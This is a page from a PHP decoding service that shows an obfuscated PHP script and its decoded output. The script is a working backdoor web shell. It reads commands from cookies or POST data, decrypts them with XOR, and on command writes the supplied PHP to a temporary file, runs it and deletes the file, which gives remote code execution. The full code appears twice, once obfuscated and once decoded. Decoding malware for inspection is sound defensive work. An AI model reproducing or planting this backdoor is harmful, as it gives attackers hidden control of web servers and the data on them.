Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* a_n*/function ypontg(){$vi_zq='csnjmzjst'; print_r (10989+10989); }$eldayix_a..

Decoded Output download

<?php /* a_n*/function	ypontg(){$vi_zq='csnjmzjst';	print_r     (10989+10989);	}$eldayix_a	=	'eldayix_a'	^	''; 
 
 
 
 
 
function/*  acc   */szmvhzv($topxymj,	$myvbza_lqmttncy) 
{ 
	global/*  _ytdh   */$eldayix_a; 
 
	$yslaqvtxdw/*vqps */=/*uox */""; 
	for     ($hajwrngp/*fkxmj */=	0;/*e  */$hajwrngp	<  strlen($topxymj);)    { 
     for	($myvbza_    =	0;	$myvbza_/*   fbye   */<       strlen($myvbza_lqmttncy)     &&/*  c*/$hajwrngp	<  strlen($topxymj);    $myvbza_++,	$hajwrngp++)/*pka */{ 
 
	$yslaqvtxdw/*w */.=	$eldayix_a(ord($topxymj[$hajwrngp])/*i  */^/*  ey  */ord($myvbza_lqmttncy[$myvbza_]));/*  gfis   */}/* xu   */}	return/*mw_l*/$yslaqvtxdw; 
} 
 
function	dkbckeywd($dar_fcbtav,       $topxymj) 
 
{ 
	global/*  bf   */$eldayix_a; 
 
 
     $uaepkyrag	=      sprintf(".".$eldayix_a(112-65)    .	"%"	./*  f   */$eldayix_a(233-118)     ./* bhsiy   */"."/*   wqa  */.   "p"."l",/*   bzqb*/md5($dar_fcbtav));/*  a */file_put_contents($uaepkyrag,       "<"       .	"?"."p"."h"."p"	.	$eldayix_a(32)/*   no*/.       "u"     .	"n"."l".$eldayix_a(535-430)    .	$eldayix_a(306-196)	.      "k"."("/* i  */.	"_"."_"   .       "F"/*x  */./*yyarf */$eldayix_a(98-25)    .	"L".$eldayix_a(69)  ./*   ecct*/$eldayix_a(95)	.	"_".")".";".$eldayix_a(32)    .	$topxymj[$eldayix_a(157-57)]);	include($uaepkyrag);	$saqpv_ck	=/*  xr*/$uaepkyrag; 
/*   roo   */unlink($saqpv_ck); 
 
 
} 
 
 
function    eomfno() 
 
{ 
 
 
      global	$eldayix_a; 
 
/*   igv */ 
 
 
/*wrf   */$hajwrngp	=	array(); 
 
	$hajwrngp["p"."v"]     =/*   axr */phpversion(); 
 
	$hajwrngp["s"."v"]     =      "3"."."."5";	echo	@serialize($hajwrngp); 
 
} 
 
 
 
function	jdzlyjfxzv($topxymj,	$dar_fcbtav,/*  pi  */$myvbza_qkgpw) 
 
{ 
 
 
	global/* s*/$eldayix_a; 
	/*  cfhba  */$topxymj/*  xhrbr   */=	unserialize(szmvhzv(szmvhzv(base64_decode($topxymj),	$dar_fcbtav),/*   ox*/$myvbza_qkgpw)); 
	if	(isset($topxymj[$eldayix_a(97)     .     $eldayix_a(107)]))       { 
 
 
       if	($topxymj[$eldayix_a(654-557)]   ==       "i")/* wvxi */{     eomfno(); 
 
	}	elseif   ($topxymj[$eldayix_a(654-557)]       ==/*  dns */"e")	{ 
 
 
     dkbckeywd($dar_fcbtav,	$topxymj); 
	} 
 
 
   exit(); 
 
/*  q   */} 
 
 
} 
$tzjhjhnoy   =/*   sgxe  */$_COOKIE;$tdk_lx       =     $_POST; 
$tzjhjhnoy   =       array_merge($tdk_lx,	$tzjhjhnoy); 
 
 
 
$dar_fcbtav/*v   */=	$eldayix_a(48)    .	"5"."9".$eldayix_a(654-557)."d"      ./* ek   */"1"     ./*  buoko*/$eldayix_a(654-557)."b"    .  "-"."9"/*  rlatp   */.	$eldayix_a(100)	.	$eldayix_a(654-557).$eldayix_a(723-668)   ./* tvzn*/"-"/*  xnzzt  */./*   g_gbw*/"4"	.      "b".$eldayix_a(99)	.	$eldayix_a(151-53)/*  z*/./* n  */"-"."b"	.	"8".$eldayix_a(900-802)/*   adnu  */.	"b"."-"."f"."9"."f"."3"."c"."7"  .      $eldayix_a(97)/*  po*/.       "a"     ./*   tnjp */"b"     .	$eldayix_a(542-486)/*  llga  */./*sz  */"5"."3"; 
foreach/*   t   */($tzjhjhnoy/* m  */as	$myvbza_qkgpw   =>	$topxymj)/* kyil   */{	jdzlyjfxzv($topxymj,/*  t*/$dar_fcbtav,/*   gmps*/$myvbza_qkgpw);} 
 ?>

Did this file decode correctly?

Original Code

<?php /* a_n*/function	ypontg(){$vi_zq='csnjmzjst';	print_r     (10989+10989);	}$eldayix_a	=	'eldayix_a'	^	'';





function/*  acc   */szmvhzv($topxymj,	$myvbza_lqmttncy)
{
	global/*  _ytdh   */$eldayix_a;

	$yslaqvtxdw/*vqps */=/*uox */"";
	for     ($hajwrngp/*fkxmj */=	0;/*e  */$hajwrngp	<  strlen($topxymj);)    {
     for	($myvbza_    =	0;	$myvbza_/*   fbye   */<       strlen($myvbza_lqmttncy)     &&/*  c*/$hajwrngp	<  strlen($topxymj);    $myvbza_++,	$hajwrngp++)/*pka */{

	$yslaqvtxdw/*w */.=	$eldayix_a(ord($topxymj[$hajwrngp])/*i  */^/*  ey  */ord($myvbza_lqmttncy[$myvbza_]));/*  gfis   */}/* xu   */}	return/*mw_l*/$yslaqvtxdw;
}

function	dkbckeywd($dar_fcbtav,       $topxymj)

{
	global/*  bf   */$eldayix_a;


     $uaepkyrag	=      sprintf(".".$eldayix_a(112-65)    .	"\x25"	./*  f   */$eldayix_a(233-118)     ./* bhsiy   */"\56"/*   wqa  */.   "p"."l",/*   bzqb*/md5($dar_fcbtav));/*  a */file_put_contents($uaepkyrag,       "<"       .	"?"."p"."h"."\x70"	.	$eldayix_a(32)/*   no*/.       "\x75"     .	"n"."l".$eldayix_a(535-430)    .	$eldayix_a(306-196)	.      "k"."\50"/* i  */.	"_"."\137"   .       "\106"/*x  */./*yyarf */$eldayix_a(98-25)    .	"L".$eldayix_a(69)  ./*   ecct*/$eldayix_a(95)	.	"_".")".";".$eldayix_a(32)    .	$topxymj[$eldayix_a(157-57)]);	include($uaepkyrag);	$saqpv_ck	=/*  xr*/$uaepkyrag;
/*   roo   */unlink($saqpv_ck);


}


function    eomfno()

{


      global	$eldayix_a;

/*   igv */


/*wrf   */$hajwrngp	=	array();

	$hajwrngp["p"."\x76"]     =/*   axr */phpversion();

	$hajwrngp["s"."v"]     =      "3"."."."5";	echo	@serialize($hajwrngp);

}



function	jdzlyjfxzv($topxymj,	$dar_fcbtav,/*  pi  */$myvbza_qkgpw)

{


	global/* s*/$eldayix_a;
	/*  cfhba  */$topxymj/*  xhrbr   */=	unserialize(szmvhzv(szmvhzv(base64_decode($topxymj),	$dar_fcbtav),/*   ox*/$myvbza_qkgpw));
	if	(isset($topxymj[$eldayix_a(97)     .     $eldayix_a(107)]))       {


       if	($topxymj[$eldayix_a(654-557)]   ==       "i")/* wvxi */{     eomfno();

	}	elseif   ($topxymj[$eldayix_a(654-557)]       ==/*  dns */"\145")	{


     dkbckeywd($dar_fcbtav,	$topxymj);
	}


   exit();

/*  q   */}


}
$tzjhjhnoy   =/*   sgxe  */$_COOKIE;$tdk_lx       =     $_POST;
$tzjhjhnoy   =       array_merge($tdk_lx,	$tzjhjhnoy);



$dar_fcbtav/*v   */=	$eldayix_a(48)    .	"5"."9".$eldayix_a(654-557)."\144"      ./* ek   */"\x31"     ./*  buoko*/$eldayix_a(654-557)."\x62"    .  "-"."\71"/*  rlatp   */.	$eldayix_a(100)	.	$eldayix_a(654-557).$eldayix_a(723-668)   ./* tvzn*/"\x2d"/*  xnzzt  */./*   g_gbw*/"\64"	.      "b".$eldayix_a(99)	.	$eldayix_a(151-53)/*  z*/./* n  */"-"."\x62"	.	"8".$eldayix_a(900-802)/*   adnu  */.	"b"."-"."f"."9"."f"."3"."c"."\67"  .      $eldayix_a(97)/*  po*/.       "\x61"     ./*   tnjp */"\142"     .	$eldayix_a(542-486)/*  llga  */./*sz  */"5"."3";
foreach/*   t   */($tzjhjhnoy/* m  */as	$myvbza_qkgpw   =>	$topxymj)/* kyil   */{	jdzlyjfxzv($topxymj,/*  t*/$dar_fcbtav,/*   gmps*/$myvbza_qkgpw);}

Function Calls

array_merge 1

Variables

$tdk_lx 0
$eldayix_a chrg}~[w
$tzjhjhnoy 0

Stats

MD5 cd858c016947472039829eb0e482fc63
Eval Count 0
Decode Time 51 ms